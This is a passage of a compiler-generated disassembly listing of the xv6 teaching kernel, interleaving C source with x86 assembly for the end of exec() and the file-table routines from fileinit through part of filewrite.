struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
8010090c: e8 b4 29 00 00 call 801032c5 <myproc>
80100911: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
begin_op();
80100917: e8 33 1f 00 00 call 8010284f <begin_op>
if((ip = namei(path)) == 0){
8010091c: 83 ec 0c sub $0xc,%esp
8010091f: ff 75 08 pushl 0x8(%ebp)
80100922: e8 28 13 00 00 call 80101c4f <namei>
80100927: 83 c4 10 add $0x10,%esp
8010092a: 85 c0 test %eax,%eax
8010092c: 74 56 je 80100984 <exec+0x88>
8010092e: 89 c3 mov %eax,%ebx
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
80100930: 83 ec 0c sub $0xc,%esp
80100933: 50 push %eax
80100934: e8 91 0c 00 00 call 801015ca <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
80100939: 6a 34 push $0x34
8010093b: 6a 00 push $0x0
8010093d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
80100943: 50 push %eax
80100944: 53 push %ebx
80100945: e8 86 0e 00 00 call 801017d0 <readi>
8010094a: 83 c4 20 add $0x20,%esp
8010094d: 83 f8 34 cmp $0x34,%eax
80100950: 75 0c jne 8010095e <exec+0x62>
goto bad;
if(elf.magic != ELF_MAGIC)
80100952: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100959: 45 4c 46
8010095c: 74 42 je 801009a0 <exec+0xa4>
return 0;
bad:
if(pgdir)
freevm(pgdir);
if(ip){
8010095e: 85 db test %ebx,%ebx
80100960: 0f 84 c9 02 00 00 je 80100c2f <exec+0x333>
iunlockput(ip);
80100966: 83 ec 0c sub $0xc,%esp
80100969: 53 push %ebx
8010096a: e8 0e 0e 00 00 call 8010177d <iunlockput>
end_op();
8010096f: e8 59 1f 00 00 call 801028cd <end_op>
80100974: 83 c4 10 add $0x10,%esp
}
return -1;
80100977: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010097c: 8d 65 f4 lea -0xc(%ebp),%esp
8010097f: 5b pop %ebx
80100980: 5e pop %esi
80100981: 5f pop %edi
80100982: 5d pop %ebp
80100983: c3 ret
end_op();
80100984: e8 44 1f 00 00 call 801028cd <end_op>
cprintf("exec: fail\n");
80100989: 83 ec 0c sub $0xc,%esp
8010098c: 68 81 69 10 80 push $0x80106981
80100991: e8 93 fc ff ff call 80100629 <cprintf>
return -1;
80100996: 83 c4 10 add $0x10,%esp
80100999: b8 ff ff ff ff mov $0xffffffff,%eax
8010099e: eb dc jmp 8010097c <exec+0x80>
if((pgdir = setupkvm()) == 0)
801009a0: e8 eb 5c 00 00 call 80106690 <setupkvm>
801009a5: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
801009ab: 85 c0 test %eax,%eax
801009ad: 0f 84 09 01 00 00 je 80100abc <exec+0x1c0>
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
801009b3: 8b 85 40 ff ff ff mov -0xc0(%ebp),%eax
sz = 0;
801009b9: bf 00 00 00 00 mov $0x0,%edi
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
801009be: be 00 00 00 00 mov $0x0,%esi
801009c3: eb 0c jmp 801009d1 <exec+0xd5>
801009c5: 83 c6 01 add $0x1,%esi
801009c8: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
801009ce: 83 c0 20 add $0x20,%eax
801009d1: 0f b7 95 50 ff ff ff movzwl -0xb0(%ebp),%edx
801009d8: 39 f2 cmp %esi,%edx
801009da: 0f 8e 98 00 00 00 jle 80100a78 <exec+0x17c>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
801009e0: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
801009e6: 6a 20 push $0x20
801009e8: 50 push %eax
801009e9: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
801009ef: 50 push %eax
801009f0: 53 push %ebx
801009f1: e8 da 0d 00 00 call 801017d0 <readi>
801009f6: 83 c4 10 add $0x10,%esp
801009f9: 83 f8 20 cmp $0x20,%eax
801009fc: 0f 85 ba 00 00 00 jne 80100abc <exec+0x1c0>
if(ph.type != ELF_PROG_LOAD)
80100a02: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100a09: 75 ba jne 801009c5 <exec+0xc9>
if(ph.memsz < ph.filesz)
80100a0b: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100a11: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100a17: 0f 82 9f 00 00 00 jb 80100abc <exec+0x1c0>
if(ph.vaddr + ph.memsz < ph.vaddr)
80100a1d: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100a23: 0f 82 93 00 00 00 jb 80100abc <exec+0x1c0>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100a29: 83 ec 04 sub $0x4,%esp
80100a2c: 50 push %eax
80100a2d: 57 push %edi
80100a2e: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100a34: e8 f6 5a 00 00 call 8010652f <allocuvm>
80100a39: 89 c7 mov %eax,%edi
80100a3b: 83 c4 10 add $0x10,%esp
80100a3e: 85 c0 test %eax,%eax
80100a40: 74 7a je 80100abc <exec+0x1c0>
if(ph.vaddr % PGSIZE != 0)
80100a42: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100a48: a9 ff 0f 00 00 test $0xfff,%eax
80100a4d: 75 6d jne 80100abc <exec+0x1c0>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100a4f: 83 ec 0c sub $0xc,%esp
80100a52: ff b5 14 ff ff ff pushl -0xec(%ebp)
80100a58: ff b5 08 ff ff ff pushl -0xf8(%ebp)
80100a5e: 53 push %ebx
80100a5f: 50 push %eax
80100a60: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100a66: e8 8f 59 00 00 call 801063fa <loaduvm>
80100a6b: 83 c4 20 add $0x20,%esp
80100a6e: 85 c0 test %eax,%eax
80100a70: 0f 89 4f ff ff ff jns 801009c5 <exec+0xc9>
80100a76: eb 44 jmp 80100abc <exec+0x1c0>
iunlockput(ip);
80100a78: 83 ec 0c sub $0xc,%esp
80100a7b: 53 push %ebx
80100a7c: e8 fc 0c 00 00 call 8010177d <iunlockput>
end_op();
80100a81: e8 47 1e 00 00 call 801028cd <end_op>
sz = PGROUNDUP(sz);
80100a86: 8d 87 ff 0f 00 00 lea 0xfff(%edi),%eax
80100a8c: 25 00 f0 ff ff and $0xfffff000,%eax
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100a91: 83 c4 0c add $0xc,%esp
80100a94: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx
80100a9a: 52 push %edx
80100a9b: 50 push %eax
80100a9c: 8b bd f0 fe ff ff mov -0x110(%ebp),%edi
80100aa2: 57 push %edi
80100aa3: e8 87 5a 00 00 call 8010652f <allocuvm>
80100aa8: 89 c6 mov %eax,%esi
80100aaa: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
80100ab0: 83 c4 10 add $0x10,%esp
80100ab3: 85 c0 test %eax,%eax
80100ab5: 75 24 jne 80100adb <exec+0x1df>
ip = 0;
80100ab7: bb 00 00 00 00 mov $0x0,%ebx
if(pgdir)
80100abc: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100ac2: 85 c0 test %eax,%eax
80100ac4: 0f 84 94 fe ff ff je 8010095e <exec+0x62>
freevm(pgdir);
80100aca: 83 ec 0c sub $0xc,%esp
80100acd: 50 push %eax
80100ace: e8 49 5b 00 00 call 8010661c <freevm>
80100ad3: 83 c4 10 add $0x10,%esp
80100ad6: e9 83 fe ff ff jmp 8010095e <exec+0x62>
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100adb: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax
80100ae1: 83 ec 08 sub $0x8,%esp
80100ae4: 50 push %eax
80100ae5: 57 push %edi
80100ae6: e8 32 5c 00 00 call 8010671d <clearpteu>
for(argc = 0; argv[argc]; argc++) {
80100aeb: 83 c4 10 add $0x10,%esp
80100aee: bf 00 00 00 00 mov $0x0,%edi
80100af3: 8b 45 0c mov 0xc(%ebp),%eax
80100af6: 8d 1c b8 lea (%eax,%edi,4),%ebx
80100af9: 8b 03 mov (%ebx),%eax
80100afb: 85 c0 test %eax,%eax
80100afd: 74 4d je 80100b4c <exec+0x250>
if(argc >= MAXARG)
80100aff: 83 ff 1f cmp $0x1f,%edi
80100b02: 0f 87 13 01 00 00 ja 80100c1b <exec+0x31f>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100b08: 83 ec 0c sub $0xc,%esp
80100b0b: 50 push %eax
80100b0c: e8 7d 36 00 00 call 8010418e <strlen>
80100b11: 29 c6 sub %eax,%esi
80100b13: 83 ee 01 sub $0x1,%esi
80100b16: 83 e6 fc and $0xfffffffc,%esi
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100b19: 83 c4 04 add $0x4,%esp
80100b1c: ff 33 pushl (%ebx)
80100b1e: e8 6b 36 00 00 call 8010418e <strlen>
80100b23: 83 c0 01 add $0x1,%eax
80100b26: 50 push %eax
80100b27: ff 33 pushl (%ebx)
80100b29: 56 push %esi
80100b2a: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b30: e8 42 5d 00 00 call 80106877 <copyout>
80100b35: 83 c4 20 add $0x20,%esp
80100b38: 85 c0 test %eax,%eax
80100b3a: 0f 88 e5 00 00 00 js 80100c25 <exec+0x329>
ustack[3+argc] = sp;
80100b40: 89 b4 bd 64 ff ff ff mov %esi,-0x9c(%ebp,%edi,4)
for(argc = 0; argv[argc]; argc++) {
80100b47: 83 c7 01 add $0x1,%edi
80100b4a: eb a7 jmp 80100af3 <exec+0x1f7>
80100b4c: 89 f1 mov %esi,%ecx
80100b4e: 89 c3 mov %eax,%ebx
ustack[3+argc] = 0;
80100b50: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4)
80100b57: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
80100b5b: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100b62: ff ff ff
ustack[1] = argc;
80100b65: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100b6b: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax
80100b72: 89 f2 mov %esi,%edx
80100b74: 29 c2 sub %eax,%edx
80100b76: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp)
sp -= (3+argc+1) * 4;
80100b7c: 8d 04 bd 10 00 00 00 lea 0x10(,%edi,4),%eax
80100b83: 29 c1 sub %eax,%ecx
80100b85: 89 ce mov %ecx,%esi
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100b87: 50 push %eax
80100b88: 8d 85 58 ff ff ff lea -0xa8(%ebp),%eax
80100b8e: 50 push %eax
80100b8f: 51 push %ecx
80100b90: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100b96: e8 dc 5c 00 00 call 80106877 <copyout>
80100b9b: 83 c4 10 add $0x10,%esp
80100b9e: 85 c0 test %eax,%eax
80100ba0: 0f 88 16 ff ff ff js 80100abc <exec+0x1c0>
for(last=s=path; *s; s++)
80100ba6: 8b 55 08 mov 0x8(%ebp),%edx
80100ba9: 89 d0 mov %edx,%eax
80100bab: eb 03 jmp 80100bb0 <exec+0x2b4>
80100bad: 83 c0 01 add $0x1,%eax
80100bb0: 0f b6 08 movzbl (%eax),%ecx
80100bb3: 84 c9 test %cl,%cl
80100bb5: 74 0a je 80100bc1 <exec+0x2c5>
if(*s == '/')
80100bb7: 80 f9 2f cmp $0x2f,%cl
80100bba: 75 f1 jne 80100bad <exec+0x2b1>
last = s+1;
80100bbc: 8d 50 01 lea 0x1(%eax),%edx
80100bbf: eb ec jmp 80100bad <exec+0x2b1>
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100bc1: 8b bd ec fe ff ff mov -0x114(%ebp),%edi
80100bc7: 89 f8 mov %edi,%eax
80100bc9: 83 c0 6c add $0x6c,%eax
80100bcc: 83 ec 04 sub $0x4,%esp
80100bcf: 6a 10 push $0x10
80100bd1: 52 push %edx
80100bd2: 50 push %eax
80100bd3: e8 75 35 00 00 call 8010414d <safestrcpy>
oldpgdir = curproc->pgdir;
80100bd8: 8b 5f 04 mov 0x4(%edi),%ebx
curproc->pgdir = pgdir;
80100bdb: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx
80100be1: 89 4f 04 mov %ecx,0x4(%edi)
curproc->sz = sz;
80100be4: 8b 8d f4 fe ff ff mov -0x10c(%ebp),%ecx
80100bea: 89 0f mov %ecx,(%edi)
curproc->tf->eip = elf.entry; // main
80100bec: 8b 47 18 mov 0x18(%edi),%eax
80100bef: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx
80100bf5: 89 50 38 mov %edx,0x38(%eax)
curproc->tf->esp = sp;
80100bf8: 8b 47 18 mov 0x18(%edi),%eax
80100bfb: 89 70 44 mov %esi,0x44(%eax)
switchuvm(curproc);
80100bfe: 89 3c 24 mov %edi,(%esp)
80100c01: e8 6b 56 00 00 call 80106271 <switchuvm>
freevm(oldpgdir);
80100c06: 89 1c 24 mov %ebx,(%esp)
80100c09: e8 0e 5a 00 00 call 8010661c <freevm>
return 0;
80100c0e: 83 c4 10 add $0x10,%esp
80100c11: b8 00 00 00 00 mov $0x0,%eax
80100c16: e9 61 fd ff ff jmp 8010097c <exec+0x80>
ip = 0;
80100c1b: bb 00 00 00 00 mov $0x0,%ebx
80100c20: e9 97 fe ff ff jmp 80100abc <exec+0x1c0>
80100c25: bb 00 00 00 00 mov $0x0,%ebx
80100c2a: e9 8d fe ff ff jmp 80100abc <exec+0x1c0>
return -1;
80100c2f: b8 ff ff ff ff mov $0xffffffff,%eax
80100c34: e9 43 fd ff ff jmp 8010097c <exec+0x80>
80100c39 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100c39: f3 0f 1e fb endbr32
80100c3d: 55 push %ebp
80100c3e: 89 e5 mov %esp,%ebp
80100c40: 83 ec 10 sub $0x10,%esp
initlock(&ftable.lock, "ftable");
80100c43: 68 8d 69 10 80 push $0x8010698d
80100c48: 68 c0 ff 10 80 push $0x8010ffc0
80100c4d: e8 77 31 00 00 call 80103dc9 <initlock>
}
80100c52: 83 c4 10 add $0x10,%esp
80100c55: c9 leave
80100c56: c3 ret
80100c57 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100c57: f3 0f 1e fb endbr32
80100c5b: 55 push %ebp
80100c5c: 89 e5 mov %esp,%ebp
80100c5e: 53 push %ebx
80100c5f: 83 ec 10 sub $0x10,%esp
struct file *f;
acquire(&ftable.lock);
80100c62: 68 c0 ff 10 80 push $0x8010ffc0
80100c67: e8 ad 32 00 00 call 80103f19 <acquire>
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100c6c: 83 c4 10 add $0x10,%esp
80100c6f: bb f4 ff 10 80 mov $0x8010fff4,%ebx
80100c74: eb 03 jmp 80100c79 <filealloc+0x22>
80100c76: 83 c3 18 add $0x18,%ebx
80100c79: 81 fb 54 09 11 80 cmp $0x80110954,%ebx
80100c7f: 73 24 jae 80100ca5 <filealloc+0x4e>
if(f->ref == 0){
80100c81: 83 7b 04 00 cmpl $0x0,0x4(%ebx)
80100c85: 75 ef jne 80100c76 <filealloc+0x1f>
f->ref = 1;
80100c87: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100c8e: 83 ec 0c sub $0xc,%esp
80100c91: 68 c0 ff 10 80 push $0x8010ffc0
80100c96: e8 e7 32 00 00 call 80103f82 <release>
return f;
80100c9b: 83 c4 10 add $0x10,%esp
}
}
release(&ftable.lock);
return 0;
}
80100c9e: 89 d8 mov %ebx,%eax
80100ca0: 8b 5d fc mov -0x4(%ebp),%ebx
80100ca3: c9 leave
80100ca4: c3 ret
release(&ftable.lock);
80100ca5: 83 ec 0c sub $0xc,%esp
80100ca8: 68 c0 ff 10 80 push $0x8010ffc0
80100cad: e8 d0 32 00 00 call 80103f82 <release>
return 0;
80100cb2: 83 c4 10 add $0x10,%esp
80100cb5: bb 00 00 00 00 mov $0x0,%ebx
80100cba: eb e2 jmp 80100c9e <filealloc+0x47>
80100cbc <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100cbc: f3 0f 1e fb endbr32
80100cc0: 55 push %ebp
80100cc1: 89 e5 mov %esp,%ebp
80100cc3: 53 push %ebx
80100cc4: 83 ec 10 sub $0x10,%esp
80100cc7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100cca: 68 c0 ff 10 80 push $0x8010ffc0
80100ccf: e8 45 32 00 00 call 80103f19 <acquire>
if(f->ref < 1)
80100cd4: 8b 43 04 mov 0x4(%ebx),%eax
80100cd7: 83 c4 10 add $0x10,%esp
80100cda: 85 c0 test %eax,%eax
80100cdc: 7e 1a jle 80100cf8 <filedup+0x3c>
panic("filedup");
f->ref++;
80100cde: 83 c0 01 add $0x1,%eax
80100ce1: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100ce4: 83 ec 0c sub $0xc,%esp
80100ce7: 68 c0 ff 10 80 push $0x8010ffc0
80100cec: e8 91 32 00 00 call 80103f82 <release>
return f;
}
80100cf1: 89 d8 mov %ebx,%eax
80100cf3: 8b 5d fc mov -0x4(%ebp),%ebx
80100cf6: c9 leave
80100cf7: c3 ret
panic("filedup");
80100cf8: 83 ec 0c sub $0xc,%esp
80100cfb: 68 94 69 10 80 push $0x80106994
80100d00: e8 57 f6 ff ff call 8010035c <panic>
80100d05 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100d05: f3 0f 1e fb endbr32
80100d09: 55 push %ebp
80100d0a: 89 e5 mov %esp,%ebp
80100d0c: 53 push %ebx
80100d0d: 83 ec 30 sub $0x30,%esp
80100d10: 8b 5d 08 mov 0x8(%ebp),%ebx
struct file ff;
acquire(&ftable.lock);
80100d13: 68 c0 ff 10 80 push $0x8010ffc0
80100d18: e8 fc 31 00 00 call 80103f19 <acquire>
if(f->ref < 1)
80100d1d: 8b 43 04 mov 0x4(%ebx),%eax
80100d20: 83 c4 10 add $0x10,%esp
80100d23: 85 c0 test %eax,%eax
80100d25: 7e 65 jle 80100d8c <fileclose+0x87>
panic("fileclose");
if(--f->ref > 0){
80100d27: 83 e8 01 sub $0x1,%eax
80100d2a: 89 43 04 mov %eax,0x4(%ebx)
80100d2d: 85 c0 test %eax,%eax
80100d2f: 7f 68 jg 80100d99 <fileclose+0x94>
release(&ftable.lock);
return;
}
ff = *f;
80100d31: 8b 03 mov (%ebx),%eax
80100d33: 89 45 e0 mov %eax,-0x20(%ebp)
80100d36: 8b 43 08 mov 0x8(%ebx),%eax
80100d39: 89 45 e8 mov %eax,-0x18(%ebp)
80100d3c: 8b 43 0c mov 0xc(%ebx),%eax
80100d3f: 89 45 ec mov %eax,-0x14(%ebp)
80100d42: 8b 43 10 mov 0x10(%ebx),%eax
80100d45: 89 45 f0 mov %eax,-0x10(%ebp)
f->ref = 0;
80100d48: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx)
f->type = FD_NONE;
80100d4f: c7 03 00 00 00 00 movl $0x0,(%ebx)
release(&ftable.lock);
80100d55: 83 ec 0c sub $0xc,%esp
80100d58: 68 c0 ff 10 80 push $0x8010ffc0
80100d5d: e8 20 32 00 00 call 80103f82 <release>
if(ff.type == FD_PIPE)
80100d62: 8b 45 e0 mov -0x20(%ebp),%eax
80100d65: 83 c4 10 add $0x10,%esp
80100d68: 83 f8 01 cmp $0x1,%eax
80100d6b: 74 41 je 80100dae <fileclose+0xa9>
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
80100d6d: 83 f8 02 cmp $0x2,%eax
80100d70: 75 37 jne 80100da9 <fileclose+0xa4>
begin_op();
80100d72: e8 d8 1a 00 00 call 8010284f <begin_op>
iput(ff.ip);
80100d77: 83 ec 0c sub $0xc,%esp
80100d7a: ff 75 f0 pushl -0x10(%ebp)
80100d7d: e8 57 09 00 00 call 801016d9 <iput>
end_op();
80100d82: e8 46 1b 00 00 call 801028cd <end_op>
80100d87: 83 c4 10 add $0x10,%esp
80100d8a: eb 1d jmp 80100da9 <fileclose+0xa4>
panic("fileclose");
80100d8c: 83 ec 0c sub $0xc,%esp
80100d8f: 68 9c 69 10 80 push $0x8010699c
80100d94: e8 c3 f5 ff ff call 8010035c <panic>
release(&ftable.lock);
80100d99: 83 ec 0c sub $0xc,%esp
80100d9c: 68 c0 ff 10 80 push $0x8010ffc0
80100da1: e8 dc 31 00 00 call 80103f82 <release>
return;
80100da6: 83 c4 10 add $0x10,%esp
}
}
80100da9: 8b 5d fc mov -0x4(%ebp),%ebx
80100dac: c9 leave
80100dad: c3 ret
pipeclose(ff.pipe, ff.writable);
80100dae: 83 ec 08 sub $0x8,%esp
80100db1: 0f be 45 e9 movsbl -0x17(%ebp),%eax
80100db5: 50 push %eax
80100db6: ff 75 ec pushl -0x14(%ebp)
80100db9: e8 24 21 00 00 call 80102ee2 <pipeclose>
80100dbe: 83 c4 10 add $0x10,%esp
80100dc1: eb e6 jmp 80100da9 <fileclose+0xa4>
80100dc3 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100dc3: f3 0f 1e fb endbr32
80100dc7: 55 push %ebp
80100dc8: 89 e5 mov %esp,%ebp
80100dca: 53 push %ebx
80100dcb: 83 ec 04 sub $0x4,%esp
80100dce: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100dd1: 83 3b 02 cmpl $0x2,(%ebx)
80100dd4: 75 31 jne 80100e07 <filestat+0x44>
ilock(f->ip);
80100dd6: 83 ec 0c sub $0xc,%esp
80100dd9: ff 73 10 pushl 0x10(%ebx)
80100ddc: e8 e9 07 00 00 call 801015ca <ilock>
stati(f->ip, st);
80100de1: 83 c4 08 add $0x8,%esp
80100de4: ff 75 0c pushl 0xc(%ebp)
80100de7: ff 73 10 pushl 0x10(%ebx)
80100dea: e8 b2 09 00 00 call 801017a1 <stati>
iunlock(f->ip);
80100def: 83 c4 04 add $0x4,%esp
80100df2: ff 73 10 pushl 0x10(%ebx)
80100df5: e8 96 08 00 00 call 80101690 <iunlock>
return 0;
80100dfa: 83 c4 10 add $0x10,%esp
80100dfd: b8 00 00 00 00 mov $0x0,%eax
}
return -1;
}
80100e02: 8b 5d fc mov -0x4(%ebp),%ebx
80100e05: c9 leave
80100e06: c3 ret
return -1;
80100e07: b8 ff ff ff ff mov $0xffffffff,%eax
80100e0c: eb f4 jmp 80100e02 <filestat+0x3f>
80100e0e <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100e0e: f3 0f 1e fb endbr32
80100e12: 55 push %ebp
80100e13: 89 e5 mov %esp,%ebp
80100e15: 56 push %esi
80100e16: 53 push %ebx
80100e17: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
if(f->readable == 0)
80100e1a: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100e1e: 74 70 je 80100e90 <fileread+0x82>
return -1;
if(f->type == FD_PIPE)
80100e20: 8b 03 mov (%ebx),%eax
80100e22: 83 f8 01 cmp $0x1,%eax
80100e25: 74 44 je 80100e6b <fileread+0x5d>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100e27: 83 f8 02 cmp $0x2,%eax
80100e2a: 75 57 jne 80100e83 <fileread+0x75>
ilock(f->ip);
80100e2c: 83 ec 0c sub $0xc,%esp
80100e2f: ff 73 10 pushl 0x10(%ebx)
80100e32: e8 93 07 00 00 call 801015ca <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100e37: ff 75 10 pushl 0x10(%ebp)
80100e3a: ff 73 14 pushl 0x14(%ebx)
80100e3d: ff 75 0c pushl 0xc(%ebp)
80100e40: ff 73 10 pushl 0x10(%ebx)
80100e43: e8 88 09 00 00 call 801017d0 <readi>
80100e48: 89 c6 mov %eax,%esi
80100e4a: 83 c4 20 add $0x20,%esp
80100e4d: 85 c0 test %eax,%eax
80100e4f: 7e 03 jle 80100e54 <fileread+0x46>
f->off += r;
80100e51: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100e54: 83 ec 0c sub $0xc,%esp
80100e57: ff 73 10 pushl 0x10(%ebx)
80100e5a: e8 31 08 00 00 call 80101690 <iunlock>
return r;
80100e5f: 83 c4 10 add $0x10,%esp
}
panic("fileread");
}
80100e62: 89 f0 mov %esi,%eax
80100e64: 8d 65 f8 lea -0x8(%ebp),%esp
80100e67: 5b pop %ebx
80100e68: 5e pop %esi
80100e69: 5d pop %ebp
80100e6a: c3 ret
return piperead(f->pipe, addr, n);
80100e6b: 83 ec 04 sub $0x4,%esp
80100e6e: ff 75 10 pushl 0x10(%ebp)
80100e71: ff 75 0c pushl 0xc(%ebp)
80100e74: ff 73 0c pushl 0xc(%ebx)
80100e77: e8 c0 21 00 00 call 8010303c <piperead>
80100e7c: 89 c6 mov %eax,%esi
80100e7e: 83 c4 10 add $0x10,%esp
80100e81: eb df jmp 80100e62 <fileread+0x54>
panic("fileread");
80100e83: 83 ec 0c sub $0xc,%esp
80100e86: 68 a6 69 10 80 push $0x801069a6
80100e8b: e8 cc f4 ff ff call 8010035c <panic>
return -1;
80100e90: be ff ff ff ff mov $0xffffffff,%esi
80100e95: eb cb jmp 80100e62 <fileread+0x54>
80100e97 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100e97: f3 0f 1e fb endbr32
80100e9b: 55 push %ebp
80100e9c: 89 e5 mov %esp,%ebp
80100e9e: 57 push %edi
80100e9f: 56 push %esi
80100ea0: 53 push %ebx
80100ea1: 83 ec 1c sub $0x1c,%esp
80100ea4: 8b 75 08 mov 0x8(%ebp),%esi
int r;
if(f->writable == 0)
80100ea7: 80 7e 09 00 cmpb $0x0,0x9(%esi)
80100eab: 0f 84 cc 00 00 00 je 80100f7d <filewrite+0xe6>
return -1;
if(f->type == FD_PIPE)
80100eb1: 8b 06 mov (%esi),%eax
80100eb3: 83 f8 01 cmp $0x1,%eax
80100eb6: 74 10 je 80100ec8 <filewrite+0x31>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
80100eb8: 83 f8 02 cmp $0x2,%eax
80100ebb: 0f 85 af 00 00 00 jne 80100f70 <filewrite+0xd9>
// i-node, indirect block, allocation blocks,
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
80100ec1: bf 00 00 00 00 mov $0x0,%edi
80100ec6: eb 67 jmp 80100f2f <filewrite+0x98>
return pipewrite(f->pipe, addr, n);
80100ec8: 83 ec 04 sub $0x4,%esp
80100ecb: ff 75 10 pushl 0x10(%ebp)
80100ece: ff 75 0c pushl 0xc(%ebp)
80100ed1: ff 76 0c pushl 0xc(%esi)
80100ed4: e8 99 20 00 00 call 80102f72 <pipewrite>
80100ed9: 83 c4 10 add $0x10,%esp
80100edc: e9 82 00 00 00 jmp 80100f63 <filewrite+0xcc>
while(i < n){
int n1 = n - i;
if(n1 > max)
n1 = max;
begin_op();
80100ee1: e8 69 19 00 00 call 8010284f <begin_op>
ilock(f->ip);
80100ee6: 83 ec 0c sub $0xc,%esp
80100ee9: ff 76 10 pushl 0x10(%esi)
80100eec: e8 d9 06 00 00 call 801015ca <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80100ef1: ff 75 e4 pushl -0x1c(%ebp)
80100ef4: ff 76 14 pushl 0x14(%esi)
80100ef7: 89 f8 mov %edi,%eax
80100ef9: 03 45 0c add 0xc(%ebp),%eax
80100efc: 50 push %eax
80100efd: ff 76 10 pushl 0x10(%esi)
80100f00: e8 cc 09 00 00 call 801018d1 <writei>
80100f05: 89 c3 mov %eax,%ebx
80100f07: 83 c4 20 add $0x20,%esp
80100f0a: 85 c0 test %eax,%eax
80100f0c: 7e 03 jle 80100f11 <filewrite+0x7a>
f->off += r;
80100f0e: 01 46 14 add %eax,0x14(%esi)
iunlock(f->ip);
80100f11: 83 ec 0c sub $0xc,%esp
80100f14: ff 76 10 pushl 0x10(%esi)
80100f17: e8 74 07 00 00 call 80101690 <iunlock>
end_op();
80100f1c: e8 ac 19 00 00 call 801028cd <end_op>
if(r < 0)
80100f21: 83 c4 10 add $0x10,%esp
80100f24: 85 db test %ebx,%ebx
80100f26: 78 31 js 80100f59 <filewrite+0xc2>
break;
if(r != n1)
80100f28: 39 5d e4 cmp %ebx,-0x1c(%ebp)
80100f2b: 75 1f jne 80100f4c <filewrite+0xb5>
panic("short filewrite");
i += r;
80100f2d: 01 df add %ebx,%edi
while(i < n){
80100f2f: 3b 7d 10 cmp 0x10(%ebp),%edi
80100f32: 7d 25 jge 80100f59 <filewrite+0xc2>
int n1 = n - i;
80100f34: 8b 45 10 mov 0x10(%ebp),%eax
80100f37: 29 f8 sub %edi,%eax
80100f39: 89 45 e4 mov %eax,-0x1c(%ebp)
if(n1 > max)
80100f3c: 3d 00 06 00 00 cmp $0x600,%eax
80100f41: 7e 9e jle 80100ee1 <filewrite+0x4a>
n1 = max;
